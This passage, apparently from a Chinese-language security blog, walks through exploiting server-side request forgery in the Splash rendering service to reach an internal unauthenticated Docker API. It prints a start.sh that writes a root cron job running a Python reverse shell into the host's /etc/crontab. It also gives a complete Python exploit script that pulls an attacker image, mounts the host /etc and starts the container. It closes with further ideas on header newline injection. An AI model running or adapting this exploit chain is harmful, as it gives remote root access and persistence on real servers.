start.sh:container启动时运行的脚本,负责写入宿主机 /etc/crontab ,第一个参数作为反弹host,第二个参数为端口
#!/bin/sh echo "* * * * * root python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\", $2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" >> /hostdir/crontab构建并push
docker build -t b1ngz/busybox:latest . docker push b1ngz/busybox:latest虽然 splash 支持 post 请求,但是比较坑的是,文档里没有给向目标地址发 POST 请求的例子,只有参数说明,看了遍文档,关键参数有这几个
url : 请求url
http_method:请求url的方法
headers: 请求 headers
body: 请求url的body,默认为 application/x-www-form-urlencoded
测试的时候,一开始一直使用 get 方法来请求 render.html 接口,但总是返回400 ,卡了很久
{ error: 400, description: "Incorrect HTTP API arguments", type: "BadOption", info: { argument: "headers", description: "'headers' must be either a JSON array of (name, value) pairs or a JSON object", type: "bad_argument" } }搜了一下,在 github issue 里找到了原因,得用post请求,并且 headers 得在 body里,且类型为 json,略坑,这里给出利用脚本,代码有注释,大家可以自己看看
# -*- coding: utf-8 -*- __author__ = 'b1ngz' import json import re import requests def pull_image(api, docker_api, image_name, image_tag): print("pull image: %s:%s" % (image_name, image_tag)) url = "%s/render.html" % api print("url: %s" % url) docker_url = '%s/images/create?fromImage=%s&tag=%s' % (docker_api, image_name, image_tag) print("docker_url: %s" % docker_url) params = { 'url': docker_url, 'http_method': 'POST', 'body': '', 'timeout': 60 } resp = requests.get(url, params=params) print("request url: %s" % resp.request.url) print("status code: %d" % resp.status_code) print("resp text: %s" % resp.text) print("-" * 50) def create_container(api, docker_api, image_name, image_tag, shell_host, shell_port): image = "%s:%s" % (image_name, image_tag) print("create_container: %s" % image) body = { "Image": image, "Volumes": { "/etc": { # 挂载根目录有时候会出错,这里选择挂载/etc "bind": "/hostdir", "mode": "rw" } }, "HostConfig": { "Binds": ["/etc:/hostdir"] }, "Cmd": [ # 运行 start.sh,将反弹定时任务写入宿主机/etc/crontab '/bin/sh', '/start.sh', shell_host, str(shell_port), ], } url = "%s/render.html" % api docker_url = '%s/containers/create' % docker_api params = { 'http_method': 'POST', 'url': docker_url, 'timeout': 60 } resp = requests.post(url, params=params, json={ 'headers': {'Content-Type': 'application/json'}, "body": json.dumps(body) }) print(resp.request.url) print(resp.status_code) print(resp.text) result = re.search('"Id":"(\w+)"', resp.text) container_id = result.group(1) print(container_id) print("-" * 50) return container_id def start_container(api, docker_api, container_id): url = "%s/render.html" % api docker_url = '%s/containers/%s/start' % (docker_api, container_id) params = { 'http_method': 'POST', 'url': docker_url, 'timeout': 10 } resp = requests.post(url, params=params, json={ 'headers': {'Content-Type': 'application/json'}, "body": "", }) print(resp.request.url) print(resp.status_code) print(resp.text) print("-" * 50) def get_result(api, docker_api, container_id): url = "%s/render.html" % api docker_url = '%s/containers/%s/json' % (docker_api, container_id) params = { 'url': docker_url } resp = requests.get(url, params=params, json={ 'headers': { 'Accept': 'application/json'}, }) print(resp.request.url) print(resp.status_code) result = re.search('"ExitCode":(\w+),"', resp.text) exit_code = result.group(1) if exit_code == '0': print('success') else: print('error') print("-" * 50) if __name__ == '__main__': # splash地址和端口 splash_host = '192.168.1.120' splash_port = 8050 # 内网docker的地址和端口 docker_host = '172.16.10.74' docker_port = 2375 # 反弹shell的地址和端口 shell_host = '192.168.1.213' shell_port = 12345 splash_api = "%s:%d" % (splash_host, splash_port) docker_api = '%s:%d' % (docker_host, docker_port) # docker image,存在docker hub上 image_name = 'b1ngz/busybox' image_tag = 'latest' # 拉取 image pull_image(splash_api, docker_api, image_name, image_tag) # 创建 container container_id = create_container(splash_api, docker_api, image_name, image_tag, shell_host, shell_port) # 启动 container start_container(splash_api, docker_api, container_id) # 获取写入crontab结果 get_result(splash_api, docker_api, container_id)其他利用思路
其他思路的话,首先想到 ssrf 配合 gopher 协议,然后结合内网 redis,因为splash是基于qt的, 查了一下文档 ,qtwebkit 默认不支持 gopher 协议,所以无法使用 gopher 。
后来经过测试,发现请求 headers 可控 ,并且支持 \n 换行